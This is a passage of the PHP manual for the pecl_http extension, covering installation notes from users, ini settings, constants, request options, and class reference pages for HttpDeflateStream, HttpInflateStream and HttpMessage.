If you are on Arch linux you can install this via pear.
just install pear first with pacman, then once php-pear is installed you can # pecl install pecl_http
Anonymous 21-Jul-2011 08:19
On Fedora, I had to do 'yum install curl-devel' to avoid missing curl.h error.
jjrp78 at yahoo dot com 25-Oct-2010 04:43
in Ubuntu 10.10 I had to create this file:

/etc/php5/conf.d/http.ini

and add this line:

extension=http.so
srimalj at gmail dot com 29-Mar-2008 05:55
Just to add to the above.

I had to install the following in Ubuntu 7.10 .

(otherwise I get a message saying missing curl.h)

# apt-get install libcurl4-gnutls-dev

Hope this helps someone the trouble i went into, just to get the http_post_fields function working

Regs

Srimal.
Mohd Azhar bin Ariffin 25-Feb-2008 12:20
The installation guideline is very insufficient. I've installed for Debian lenny/sid with the following step;

apt-get install php5-dev (to enable pecl command)
apt-get install libcurl3 (to get curl support)
apt-get install libmagic

and

pecl install pecl_http

pecl will download and compile but before that just follow the prompt. If the respective development library is not available in your system, the compilation will abort.

After pecl_http got install, copy /usr/lib/php5/20060613+lfs/http.so to /usr/lib/apache2/modules and restart apache

Hopefully this will help others from facing the same hassle for quite sometime.
Jean-Lou Dupont 07-Jan-2008 09:24
Don't forget to copy ''http.so'' in the php/modules directory and add ''extension=http.so'' to php.ini.
Christian9997 15-Jun-2007 04:09
The "Installation requirements on Windows" are confusing:

If you are a Windows user you need to have the php_curl.dll extension installed before being able to install the php_http.dll extension.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

HTTP Configuration Options
Name | Default | Changeable | Description
http.etag.mode | "MD5" | PHP_INI_ALL | The hashing algorithm used to generate the ETag. MD5, SHA1, and CRC32 are always available. If the hash extension is enabled, any hashing algorithms this extension provides are available, too.
http.log.cache | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write successful cache hits.
http.log.redirect | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write redirects.
http.log.not_found | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write "file not found" errors.
http.log.allowed_methods | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write "allowed methods" violations.
http.log.composite | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write all events.
http.request.methods.allowed | "" | PHP_INI_ALL | Allowed request methods. If a client issues a request with a request method other than listed here, PHP exits with a status of "405 Method not allowed". See the INI setting http.force_exit for what "exits" means.
http.request.methods.custom | "" | PHP_INI_PERDIR|PHP_INI_SYSTEM | Custom request methods. If you want to use any non-standard request methods, you can register them with this INI setting or http_request_method_register().
http.request.datashare.cookie | "0" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share cookie information.
http.request.datashare.dns | "1" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share name lookup information.
http.request.datashare.ssl | "0" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share SSL session information. This is not yet implemented in libcurl.
http.request.datashare.connect | "0" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share connect information. This is not yet implemented in libcurl.
http.persistent.handles.limit | "-1" | PHP_INI_SYSTEM | The maximum amount of persistent handles to keep alive.
http.persistent.handles.ident | "GLOBAL" | PHP_INI_ALL | The ident of persistent handles.
http.send.inflate.start_auto | "0" | PHP_INI_PERDIR|PHP_INI_SYSTEM | Whether to automatically start the inflate output handler.
http.send.inflate.start_flags | "0" | PHP_INI_ALL | Initialization settings for the inflate output handler.
http.send.deflate.start_auto | "0" | PHP_INI_PERDIR|PHP_INI_SYSTEM | Whether to automatically start the deflate output handler.
http.send.deflate.start_flags | "0" | PHP_INI_ALL | Initialization settings for the deflate output handler. See deflate constants.
http.send.not_found_404 | "1" | PHP_INI_ALL | Whether to automatically exit with a status of "404 Not found", if http_send_file() was not able to find the specified file. See the INI setting http.force_exit for what "exits" means.
http.only_exceptions | "0" | PHP_INI_ALL | Whether all notices/warnings/errors should be thrown as exceptions.
http.force_exit | "1" | PHP_INI_ALL | Each occasion where "exits with a status of..." is mentioned, usually causes the halt of the scripting engine. Disable this option if you alternatively want to start a discarding (dev/null) output handler and continue script execution.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a stream resource returned by http_get_request_body_stream() and (thereafter) HttpResponse::getStream().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Constants usable with http_support()
HTTP_SUPPORT (integer)
querying for this constant will always return TRUE
HTTP_SUPPORT_REQUESTS (integer)
whether support to issue HTTP requests is given, ie. libcurl support was compiled in
HTTP_SUPPORT_MAGICMIME (integer)
whether support to guess the Content-Type of HTTP messages is given, ie. libmagic support was compiled in
HTTP_SUPPORT_ENCODINGS (integer)
whether support for zlib encodings is given, ie. libz support was compiled in
HTTP_SUPPORT_SSLREQUESTS (integer)
whether support to issue HTTP requests over SSL is given, ie. linked libcurl was built with SSL support
Constants usable with http_parse_params()
HTTP_PARAMS_ALLOW_COMMA (integer)
allow commands additionally to semicolons as separator
HTTP_PARAMS_ALLOW_FAILURE (integer)
continue parsing after an error occurred
HTTP_PARAMS_RAISE_ERROR (integer)
raise PHP warnings on parse errors
HTTP_PARAMS_DEFAULT (integer)
all three values above, bitwise or'ed
Constants usable with http_parse_cookie() and its return value
HTTP_COOKIE_PARSE_RAW (integer)
don't urldecode values
HTTP_COOKIE_SECURE (integer)
whether "secure" was found in the cookie's parameters list
HTTP_COOKIE_HTTPONLY (integer)
whether "httpOnly" was found in the cookie's parameter list
Constants usable with http_deflate() and HttpDeflateStream
HTTP_DEFLATE_LEVEL_DEF (integer)
HTTP_DEFLATE_LEVEL_MIN (integer)
HTTP_DEFLATE_LEVEL_MAX (integer)
HTTP_DEFLATE_TYPE_ZLIB (integer)
HTTP_DEFLATE_TYPE_GZIP (integer)
HTTP_DEFLATE_TYPE_RAW (integer)
HTTP_DEFLATE_STRATEGY_DEF (integer)
HTTP_DEFLATE_STRATEGY_FILT (integer)
HTTP_DEFLATE_STRATEGY_HUFF (integer)
HTTP_DEFLATE_STRATEGY_RLE (integer)
HTTP_DEFLATE_STRATEGY_FIXED (integer)
Constants usable with HttpDeflateStream and HttpInflateStream
HTTP_ENCODING_STREAM_FLUSH_NONE (integer)
don't flush
HTTP_ENCODING_STREAM_FLUSH_SYNC (integer)
synchronized flush only
HTTP_ENCODING_STREAM_FLUSH_FULL (integer)
full data flush
Constants used for error reporting and Exceptions
HTTP_E_RUNTIME (integer)
runtime error
HTTP_E_INVALID_PARAM (integer)
an invalid parameter was passed
HTTP_E_HEADER (integer)
header() or similar operation failed
HTTP_E_MALFORMED_HEADERS (integer)
HTTP header parse error
HTTP_E_REQUEST_METHOD (integer)
unknown/invalid request method
HTTP_E_MESSAGE_TYPE (integer)
with operation incompatible message type
HTTP_E_ENCODING (integer)
encoding/decoding error
HTTP_E_REQUEST (integer)
request failure
HTTP_E_REQUEST_POOL (integer)
request pool failure
HTTP_E_SOCKET (integer)
socket exception
HTTP_E_RESPONSE (integer)
response failure
HTTP_E_URL (integer)
invalid URL
HTTP_E_QUERYSTRING (integer)
querystring operation failure
Constants usable with HttpMessage
HTTP_MSG_NONE (integer)
the message is of no specific type
HTTP_MSG_REQUEST (integer)
request style message
HTTP_MSG_RESPONSE (integer)
response style message
Constants usable with HttpQueryString
HTTP_QUERYSTRING_TYPE_BOOL (integer)
HTTP_QUERYSTRING_TYPE_INT (integer)
HTTP_QUERYSTRING_TYPE_FLOAT (integer)
HTTP_QUERYSTRING_TYPE_STRING (integer)
HTTP_QUERYSTRING_TYPE_ARRAY (integer)
HTTP_QUERYSTRING_TYPE_OBJECT (integer)
Constants used for the httpauthtype request option
HTTP_AUTH_BASIC (integer)
use "basic" authentication
HTTP_AUTH_DIGEST (integer)
use "digest" authentication
HTTP_AUTH_NTLM (integer)
use "NTLM" authentication
HTTP_AUTH_GSSNEG (integer)
use "GSS-NEGOTIATE" authentication
HTTP_AUTH_ANY (integer)
try any authentication scheme
Constants used for the HTTP protocol version request option
HTTP_VERSION_ANY (integer)
no specific HTTP protocol version
HTTP_VERSION_1_0 (integer)
HTTP version 1.0
HTTP_VERSION_1_1 (integer)
HTTP version 1.1
Constants used for the SSL protocol type and version request option
HTTP_SSL_VERSION_ANY (integer)
no specific SSL protocol version
HTTP_SSL_VERSION_TLSv1 (integer)
use TLSv1 only
HTTP_SSL_VERSION_SSLv3 (integer)
use SSLv3 only
HTTP_SSL_VERSION_SSLv2 (integer)
use SSLv2 only
Constants used for the proxytype request option
HTTP_PROXY_SOCKS4 (integer)
the proxy is a SOCKS4 type proxy
HTTP_PROXY_SOCKS5 (integer)
the proxy is a SOCKS5 type proxy
HTTP_PROXY_HTTP (integer)
standard HTTP proxy
Constants used for the ipresolve request option
HTTP_IPRESOLVE_V4 (integer)
use IPv4 only for name lookups
HTTP_IPRESOLVE_V6 (integer)
use IPv6 only for name lookups
HTTP_IPRESOLVE_ANY (integer)
use any IP mechanism only for name lookups
Predefined HTTP request method constants
HTTP_METH_GET (integer)
HTTP_METH_HEAD (integer)
HTTP_METH_POST (integer)
HTTP_METH_PUT (integer)
HTTP_METH_DELETE (integer)
HTTP_METH_OPTIONS (integer)
HTTP_METH_TRACE (integer)
HTTP_METH_CONNECT (integer)
HTTP_METH_PROPFIND (integer)
HTTP_METH_PROPPATCH (integer)
HTTP_METH_MKCOL (integer)
HTTP_METH_COPY (integer)
HTTP_METH_MOVE (integer)
HTTP_METH_LOCK (integer)
HTTP_METH_UNLOCK (integer)
HTTP_METH_VERSION_CONTROL (integer)
HTTP_METH_REPORT (integer)
HTTP_METH_CHECKOUT (integer)
HTTP_METH_CHECKIN (integer)
HTTP_METH_UNCHECKOUT (integer)
HTTP_METH_MKWORKSPACE (integer)
HTTP_METH_UPDATE (integer)
HTTP_METH_LABEL (integer)
HTTP_METH_MERGE (integer)
HTTP_METH_BASELINE_CONTROL (integer)
HTTP_METH_MKACTIVITY (integer)
HTTP_METH_ACL (integer)
Constants usable with http_redirect()
HTTP_REDIRECT (integer)
guess applicable redirect method
HTTP_REDIRECT_PERM (integer)
permanent redirect (301 Moved permanently)
HTTP_REDIRECT_FOUND (integer)
standard redirect (302 Found)

Note: RFC 1945 and RFC 2068 specify that the client is not allowed to change the method on the redirected request. However, most existing user agent implementations treat 302 as if it were a 303 response, performing a GET on the Location field-value regardless of the original request method. The status codes 303 and 307 have been added for servers that wish to make unambiguously clear which kind of reaction is expected of the client.

HTTP_REDIRECT_POST (integer)
redirect applicable to POST requests (303 See other)
HTTP_REDIRECT_PROXY (integer)
proxy redirect (305 Use proxy)
HTTP_REDIRECT_TEMP (integer)
temporary redirect (307 Temporary Redirect)
Constants usable with http_build_url()
HTTP_URL_REPLACE (integer)
replace every part of the first URL when there's one of the second URL
HTTP_URL_JOIN_PATH (integer)
join relative paths
HTTP_URL_JOIN_QUERY (integer)
join query strings
HTTP_URL_STRIP_USER (integer)
strip any user authentication information
HTTP_URL_STRIP_PASS (integer)
strip any password authentication information
HTTP_URL_STRIP_AUTH (integer)
strip any authentication information
HTTP_URL_STRIP_PORT (integer)
strip explicit port numbers
HTTP_URL_STRIP_PATH (integer)
strip complete path
HTTP_URL_STRIP_QUERY (integer)
strip query string
HTTP_URL_STRIP_FRAGMENT (integer)
strip any fragments (#identifier)
HTTP_URL_STRIP_ALL (integer)
strip anything but scheme and host

User Contributed Notes

Kelvin Lim 28-Oct-2008 06:10
Do note that the HTTP_AUTH_NTLM authentication mode supports only NTLMv1.  NTLMv2 support appears to be unavailable as of this writing.


Options usable with the HttpRequest class and request functions

Options related to time outs
timeout (integer)
seconds the whole request may take to complete
connecttimeout (integer)
seconds the connect, including name resolving, may take
dns_cache_timeout (integer)
seconds after an dns cache entry times out
Options related to urls
url (string)
the request url
port (integer)
use another port as specified in the url
redirect (integer)
whether and how many redirects to follow; defaults to 0
unrestrictedauth (bool)
whether to continue sending credentials on redirects to a different host
referer (string)
the referring url to send
Options related to cookies
encodecookies (bool)
whether custom cookies should be urlencode()d prior sending
cookies (array)
list of cookies as associative array like array("cookie" => "value")
cookiestore (string)
path to a file where cookies are/will be stored
cookiesession (bool)
don't load session cookies from cookiestore if TRUE
Options related to headers
useragent (string)
the user agent to send; defaults to PECL::HTTP/x.y.z (PHP/x.y.z); omitted if explicitly set to an empty string
lastmodified (int)
timestamp for If-(Un)Modified-Since header
etag (string)
quoted etag for If-(None-)Match header
headers (array)
list of custom headers as associative array like array("header" => "value")
Options related to authentication
httpauth (string)
http credentials in "user:pass" format
httpauthtype (int)
HTTP authentication type constant
(array)
Options related to proxies
proxyhost (string)
proxy host in "host[:port]" format
proxyport (int)
use another proxy port as specified in proxyhost
proxytype (int)
HTTP proxy type constant
proxyauth (string)
proxy credentials in "user:pass" format
proxyauthtype (int)
HTTP authentication type constant
Options related to the transfer
compress (bool)
whether to request and accept a gzip/deflate content encoded response
resume (int)
start the download at the specified byte offset if server support is given (indicated by a 206 response code)
range (array)
array of arrays, each containing two integers, specifying the ranges to download if server support is given (indicated by a 206 response code); only recognized if the resume option is empty
Options imposing limits
maxfilesize (integer)
maximum file size that should be downloaded; has no effect, if the size of the requested entity is unknown (eg. dynamic pages with chunked transfer encoding etc.)
low_speed_limit (int)
the lowest transfer speed a successful request may have
low_speed_time (int)
the time in which low_speed_limit must be transferred for a successful request
max_send_speed (int)
maximum send speed in bytes per second
max_recv_speed (int)
maximum receive speed in bytes per second
Callback options
onprogress (callable)
progress callback
Network options
interface (string)
outgoing network interface (ifname, ip or hostname)
portrange (array)
2 integers specifying outgoing portrange to try
SSL options
ssl (array)

Note: SSL options are set through an array with the single "ssl" request option name.

cert (string)
path to certificate
certtype (string)
type of certificate
certpasswd (string)
password for certificate
key (string)
path to key
keytype (string)
type of key
keypasswd (string)
password for key
engine (string)
ssl engine to use
version (int)
ssl version to use
verifypeer (bool)
whether to verify the peer
verifyhost (bool)
whether to verify the host
cipher_list (string)
list of allowed ciphers
cainfo (string)
capath (string)
random_file (string)
egdsocket (string)

User Contributed Notes

sandeepone at gmail dot com 11-Mar-2012 03:59
If someone looking how to use in OOP's context:

$options = array(
                        'useragent'      => "Firefox (+http://www.firefox.org)", // who am i
                        'connecttimeout' => 120, // timeout on connect
                        'timeout'          => 120, // timeout on response
                        'redirect'          => 10, // stop after 10 redirects
                        'referer'           => "http://www.google.com"
                );

$request = new HttpRequest('http://example.com');
$request->setOptions($options);
$request->send();
dav7 dot net at php (reverse) 26-Mar-2008 02:52
If anyone doesn't understand the purpose of these values and is scratching their head, they're all array indexes, and are used as the $option parameter to the various HTTP functions documented in this section. For example:

<?php
    $body = http_get('http://example.com/private_area/', array(httpauth => 'username:password'));
    print $body;
?>

This only had me "...huh?!" for a little while, but might have others confused for longer as the fact that these are what they are isn't clearly printed anywhere... to find out that these did what they say they do was a guessing game for me even.

-dav7


The HttpDeflateStream class

(PECL pecl_http >= 0.21.0)

Class synopsis

HttpDeflateStream {
public __construct ([ int $flags = 0 ] )
static public HttpDeflateStream factory ([ int $flags = 0 [, string $class_name = "HttpDeflateStream" ]] )
public string finish ([ string $data ] )
public string flush ([ string $data ] )
public string update ( string $data )
}

Class Members

Predefined Constants

Type | Name | Description
int | TYPE_GZIP | gzip encoding
int | TYPE_ZLIB | zlib AKA deflate encoding
int | TYPE_RAW | raw deflate encoding
int | LEVEL_DEF | default compression level
int | LEVEL_MIN | minimum compression level
int | LEVEL_MAX | maximum compression level
int | STRATEGY_DEF | default strategy
int | STRATEGY_FILT | filtered strategy
int | STRATEGY_HUFF | Huffman strategy
int | STRATEGY_RLE | RLE strategy
int | STRATEGY_FIXED | fixed strategy
int | FLUSH_NONE | no forced flush
int | FLUSH_SYNC | synching flush
int | FLUSH_FULL | full flush

Examples

Example #1 A HttpDeflateStream example

<?php
$stream = new HttpDeflateStream(
    HttpDeflateStream::TYPE_GZIP |
    HttpDeflateStream::LEVEL_MAX |
    HttpDeflateStream::FLUSH_SYNC);

echo $stream->update($data);
echo $stream->finish();
?>

Table of Contents

  • HttpDeflateStream::__construct — HttpDeflateStream class constructor
  • HttpDeflateStream::factory — HttpDeflateStream class factory
  • HttpDeflateStream::finish — Finalize deflate stream
  • HttpDeflateStream::flush — Flush deflate stream
  • HttpDeflateStream::update — Update deflate stream

User Contributed Notes

There are no user contributed notes for this page.


HttpDeflateStream class constructor

  • « HttpDeflateStream
  • HttpDeflateStream::factory »
  • PHP Manual
  • HttpDeflateStream
  • HttpDeflateStream class constructor

HttpDeflateStream::__construct

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::__construct — HttpDeflateStream class constructor

Description

public HttpDeflateStream::__construct ([ int $flags = 0 ] )

Creates a new HttpDeflateStream object instance.

See the deflate stream constants table for possible flags.

Parameters

flags

initialization flags

See Also

  • HttpDeflateStream::factory() - HttpDeflateStream class factory

User Contributed Notes

There are no user contributed notes for this page.


HttpDeflateStream class factory

  • « HttpDeflateStream::__construct
  • HttpDeflateStream::finish »
  • PHP Manual
  • HttpDeflateStream
  • HttpDeflateStream class factory

HttpDeflateStream::factory

(PECL pecl_http >= 1.4.0)

HttpDeflateStream::factory — HttpDeflateStream class factory

Description

static public HttpDeflateStream HttpDeflateStream::factory ([ int $flags = 0 [, string $class_name = "HttpDeflateStream" ]] )

Creates a new HttpDeflateStream object instance.

See the deflate stream constants table for possible flags.

Parameters

flags

initialization flags

class_name

name of a subclass of HttpDeflateStream

See Also

  • HttpDeflateStream::__construct() - HttpDeflateStream class constructor

User Contributed Notes

There are no user contributed notes for this page.


Finalize deflate stream

  • « HttpDeflateStream::factory
  • HttpDeflateStream::flush »
  • PHP Manual
  • HttpDeflateStream
  • Finalize deflate stream

HttpDeflateStream::finish

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::finish — Finalize deflate stream

Description

public string HttpDeflateStream::finish ([ string $data ] )

Finalizes the deflate stream. The deflate stream can be reused after finalizing.

Parameters

data

data to deflate

Return Values

Returns the final part of deflated data.

User Contributed Notes

There are no user contributed notes for this page.


Flush deflate stream

  • « HttpDeflateStream::finish
  • HttpDeflateStream::update »
  • PHP Manual
  • HttpDeflateStream
  • Flush deflate stream

HttpDeflateStream::flush

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::flush — Flush deflate stream

Description

public string HttpDeflateStream::flush ([ string $data ] )

Flushes the deflate stream.

Parameters

data

more data to deflate

Return Values

Returns some deflated data as string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Update deflate stream

  • « HttpDeflateStream::flush
  • HttpInflateStream »
  • PHP Manual
  • HttpDeflateStream
  • Update deflate stream

HttpDeflateStream::update

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::update — Update deflate stream

Description

public string HttpDeflateStream::update ( string $data )

Passes more data through the deflate stream.

Parameters

data

data to deflate

Return Values

Returns deflated data on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The HttpInflateStream class

(PECL pecl_http >= 0.21.0)

Class synopsis

HttpInflateStream {
public __construct ([ int $flags = 0 ] )
public HttpInflateStream factory ([ int $flags = 0 [, string $class_name = "HttpInflateStream" ]] )
public string finish ([ string $data ] )
public string flush ([ string $data ] )
public string update ( string $data )
}

Class Members

Constants

Type | Name | Description
int | FLUSH_NONE | no forced flush
int | FLUSH_SYNC | synching flush
int | FLUSH_FULL | full flush

Note:

Flushing usually has no effect on inflate streams.

Examples

Example #1 A HttpInflateStream example

<?php
$stream = new HttpInflateStream;
echo $stream->update($data);
echo $stream->finish();
?>

Table of Contents

  • HttpInflateStream::__construct — HttpInflateStream class constructor
  • HttpInflateStream::factory — HttpInflateStream class factory
  • HttpInflateStream::finish — Finalize inflate stream
  • HttpInflateStream::flush — Flush inflate stream
  • HttpInflateStream::update — Update inflate stream

User Contributed Notes

There are no user contributed notes for this page.


HttpInflateStream class constructor

  • « HttpInflateStream
  • HttpInflateStream::factory »
  • PHP Manual
  • HttpInflateStream
  • HttpInflateStream class constructor

HttpInflateStream::__construct

(PECL pecl_http >= 1.0.0)

HttpInflateStream::__construct — HttpInflateStream class constructor

Description

public HttpInflateStream::__construct ([ int $flags = 0 ] )

Creates a new HttpInflateStream object instance.

See the inflate constants table for possible flags.

Parameters

flags

initialization flags

See Also

  • HttpInflateStream::factory() - HttpInflateStream class factory

User Contributed Notes

There are no user contributed notes for this page.


HttpInflateStream class factory

  • « HttpInflateStream::__construct
  • HttpInflateStream::finish »
  • PHP Manual
  • HttpInflateStream
  • HttpInflateStream class factory

HttpInflateStream::factory

(PECL pecl_http >= 1.4.0)

HttpInflateStream::factory — HttpInflateStream class factory

Description

public HttpInflateStream HttpInflateStream::factory ([ int $flags = 0 [, string $class_name = "HttpInflateStream" ]] )

Creates a new HttpInflateStream object instance.

See the inflate constants table for possible flags.

Parameters

flags

initialization flags

class_name

name of a subclass of HttpInflateStream

See Also

  • HttpInflateStream::__construct() - HttpInflateStream class constructor

User Contributed Notes

There are no user contributed notes for this page.


Finalize inflate stream

  • « HttpInflateStream::factory
  • HttpInflateStream::flush »
  • PHP Manual
  • HttpInflateStream
  • Finalize inflate stream

HttpInflateStream::finish

(PECL pecl_http >= 0.21.0)

HttpInflateStream::finish — Finalize inflate stream

Description

public string HttpInflateStream::finish ([ string $data ] )

Finalizes the inflate stream. The inflate stream can be reused after finalizing.

Parameters

data

data to inflate

Return Values

Returns the final part of inflated data.

User Contributed Notes

There are no user contributed notes for this page.


Flush inflate stream

  • « HttpInflateStream::finish
  • HttpInflateStream::update »
  • PHP Manual
  • HttpInflateStream
  • Flush inflate stream

HttpInflateStream::flush

(PECL pecl_http >= 0.21.0)

HttpInflateStream::flush — Flush inflate stream

Description

public string HttpInflateStream::flush ([ string $data ] )

Flushes the inflate stream.

Note:

Flushing usually has no effect on inflate streams.

Parameters

data

more data to inflate

Return Values

Returns some inflated data as string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Update inflate stream

  • « HttpInflateStream::flush
  • HttpMessage »
  • PHP Manual
  • HttpInflateStream
  • Update inflate stream

HttpInflateStream::update

(PECL pecl_http >= 0.21.0)

HttpInflateStream::update — Update inflate stream

Description

public string HttpInflateStream::update ( string $data )

Passes more data through the inflate stream.

Parameters

data

data to inflate

Return Values

Returns inflated data on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The HttpMessage class

(PECL pecl_http >= 0.10.0)

Class synopsis

HttpMessage implements Iterator , Countable , Serializable {
public void addHeaders ( array $headers [, bool $append = false ] )
public __construct ([ string $message ] )
public HttpMessage detach ( void )
static public HttpMessage factory ([ string $raw_message [, string $class_name = "HttpMessage" ]] )
static public HttpMessage fromEnv ( int $message_type [, string $class_name = "HttpMessage" ] )
static public HttpMessage fromString ([ string $raw_message [, string $class_name = "HttpMessage" ]] )
public string getBody ( void )
public string getHeader ( string $header )
public array getHeaders ( void )
public string getHttpVersion ( void )
public HttpMessage getParentMessage ( void )
public string getRequestMethod ( void )
public string getRequestUrl ( void )
public int getResponseCode ( void )
public string getResponseStatus ( void )
public int getType ( void )
public string guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )
public void prepend ( HttpMessage $message [, bool $top = true ] )
public HttpMessage reverse ( void )
public bool send ( void )
public void setBody ( string $body )
public void setHeaders ( array $headers )
public bool setHttpVersion ( string $version )
public bool setRequestMethod ( string $method )
public bool setRequestUrl ( string $url )
public bool setResponseCode ( int $code )
public bool setResponseStatus ( string $status )
public void setType ( int $type )
public HttpRequest|HttpResponse toMessageTypeObject ( void )
public string toString ([ bool $include_parent = false ] )
}

Class Members

Properties

Instance Properties
Modifiers | Type | Name | Description
protected | int | type | message type
protected | string | body | message body
protected | float | httpVersion | HTTP protocol version
protected | array | headers | message headers
protected | string | requestMethod | request method name
protected | requestUrl | string | request URL
protected | int | responseCode | response code
protected | string | responseStatus | response status message
protected | HttpMessage | parentMessage | reference to parent message

Note:

None of these default properties can be accessed by reference, array key/index notation nor be used in increment or decrement operations.

Predefined Constants

Type | Name | Description
int | TYPE_NONE | message has is of no specific type
int | TYPE_REQUEST | message is a request style HTTP message
int | TYPE_RESPONSE | message is a response style HTTP message

Table of Contents

  • HttpMessage::addHeaders — Add headers
  • HttpMessage::__construct — HttpMessage constructor
  • HttpMessage::detach — Detach HttpMessage
  • HttpMessage::factory — Create HttpMessage from string
  • HttpMessage::fromEnv — Create HttpMessage from environment
  • HttpMessage::fromString — Create HttpMessage from string
  • HttpMessage::getBody — Get message body
  • HttpMessage::getHeader — Get header
  • HttpMessage::getHeaders — Get message headers
  • HttpMessage::getHttpVersion — Get HTTP version
  • HttpMessage::getParentMessage — Get parent message
  • HttpMessage::getRequestMethod — Get request method
  • HttpMessage::getRequestUrl — Get request URL
  • HttpMessage::getResponseCode — Get response code
  • HttpMessage::getResponseStatus — Get response status
  • HttpMessage::getType — Get message type
  • HttpMessage::guessContentType — Guess content type
  • HttpMessage::prepend — Prepend message(s)
  • HttpMessage::reverse — Reverse message chain
  • HttpMessage::send — Send message
  • HttpMessage::setBody — Set message body
  • HttpMessage::setHeaders — Set headers
  • HttpMessage::setHttpVersion — Set HTTP version
  • HttpMessage::setRequestMethod — Set request method
  • HttpMessage::setRequestUrl — Set request URL
  • HttpMessage::setResponseCode — Set response code
  • HttpMessage::setResponseStatus — Set response status
  • HttpMessage::setType — Set message type
  • HttpMessage::toMessageTypeObject — Create HTTP object regarding message type
  • HttpMessage::toString — Get string representation

User Contributed Notes

There are no user contributed notes for this page.


Add headers

  • « HttpMessage
  • HttpMessage::__construct »
  • PHP Manual
  • HttpMessage
  • Add headers

HttpMessage::addHeaders

(PECL pecl_http >= 0.10.0)

HttpMessage::addHeaders — Add headers

Description

public void HttpMessage::addHeaders ( array $headers [, bool $append = false ] )

Add headers. If append is true, headers with the same name will be separated, else overwritten.

Parameters

headers

associative array containing the additional HTTP headers to add to the messages existing headers

append

if true, and a header with the same name of one to add exists already, this respective header will be converted to an array containing both header values, otherwise it will be overwritten with the new header value

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


HttpMessage constructor

  • « HttpMessage::addHeaders
  • HttpMessage::detach »
  • PHP Manual
  • HttpMessage
  • HttpMessage constructor

HttpMessage::__construct

(PECL pecl_http >= 0.10.0)

HttpMessage::__construct — HttpMessage constructor

Description

public HttpMessage::__construct ([ string $message ] )

Instantiate a new HttpMessage object.

The constructed object will actually represent the last message of the passed string. If there were prior messages, those can be accessed by HttpMessage::getParentMessage().

Parameters

message

a single or several consecutive HTTP messages

Errors/Exceptions

Throws HttpMalformedHeaderException.

User Contributed Notes

There are no user contributed notes for this page.


Detach HttpMessage

  • « HttpMessage::__construct
  • HttpMessage::factory »
  • PHP Manual
  • HttpMessage
  • Detach HttpMessage

HttpMessage::detach

(PECL pecl_http >= 0.22.0)

HttpMessage::detach — Detach HttpMessage

Description

public HttpMessage HttpMessage::detach ( void )

Returns a clone of an HttpMessage object detached from any parent messages.

Parameters

Return Values

Returns detached HttpMessage object copy.

User Contributed Notes

There are no user contributed notes for this page.


Create HttpMessage from string

  • « HttpMessage::detach
  • HttpMessage::fromEnv »
  • PHP Manual
  • HttpMessage
  • Create HttpMessage from string

HttpMessage::factory

(PECL pecl_http >= 1.4.0)

HttpMessage::factory — Create HttpMessage from string

Description

static public HttpMessage HttpMessage::factory ([ string $raw_message [, string $class_name = "HttpMessage" ]] )

Create an HttpMessage object from a string.

Parameters

raw_message

a single or several consecutive HTTP messages

class_name

a class extending HttpMessage

Return Values

Returns an HttpMessage object on success or NULL on failure.

Errors/Exceptions

Throws HttpMalformedHeadersException.

See Also

  • HttpMessage::fromEnv() - Create HttpMessage from environment.

User Contributed Notes

There are no user contributed notes for this page.


Create HttpMessage from environment

  • « HttpMessage::factory
  • HttpMessage::fromString »
  • PHP Manual
  • HttpMessage
  • Create HttpMessage from environment

HttpMessage::fromEnv

(PECL pecl_http >= 1.5.0)

HttpMessage::fromEnv — Create HttpMessage from environment

Description

static public HttpMessage HttpMessage::fromEnv ( int $message_type [, string $class_name = "HttpMessage" ] )

Create an HttpMessage object from script environment.

Parameters

message_type

The message type. See HttpMessage type constants.

class_name

a class extending HttpMessage

Return Values

Returns an HttpMessage object on success or NULL on failure.

See Also

  • HttpMessage::factory() - Create HttpMessage from string.

User Contributed Notes

There are no user contributed notes for this page.


Create HttpMessage from string

  • « HttpMessage::fromEnv
  • HttpMessage::getBody »
  • PHP Manual
  • HttpMessage
  • Create HttpMessage from string

HttpMessage::fromString

(PECL pecl_http 0.10.0-1.3.3)

HttpMessage::fromString — Create HttpMessage from string

Description

static public HttpMessage HttpMessage::fromString ([ string $raw_message [, string $class_name = "HttpMessage" ]] )

Create an HttpMessage object from a string.

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

Parameters

raw_message

a single or several consecutive HTTP messages

class_name

a class extending HttpMessage

Return Values

Returns an HttpMessage object on success or NULL on failure.

Errors/Exceptions

Throws HttpMalformedHeadersException.

See Also

  • HttpMessage::factory() - Create HttpMessage from string.

User Contributed Notes

There are no user contributed notes for this page.


Get message body

  • « HttpMessage::fromString
  • HttpMessage::getHeader »
  • PHP Manual
  • HttpMessage
  • Get message body

HttpMessage::getBody

(PECL pecl_http >= 0.10.0)

HttpMessage::getBody — Get message body

Description

public string HttpMessage::getBody ( void )

Get the body of the parsed HttpMessage.

Return Values

Returns the message body as string.

User Contributed Notes

There are no user contributed notes for this page.


Get header

  • « HttpMessage::getBody
  • HttpMessage::getHeaders »
  • PHP Manual
  • HttpMessage
  • Get header

HttpMessage::getHeader

(PECL pecl_http >= 1.1.0)

HttpMessage::getHeader — Get header

Description

public string HttpMessage::getHeader ( string $header )

Get message header.

Parameters

header

header name

Return Values

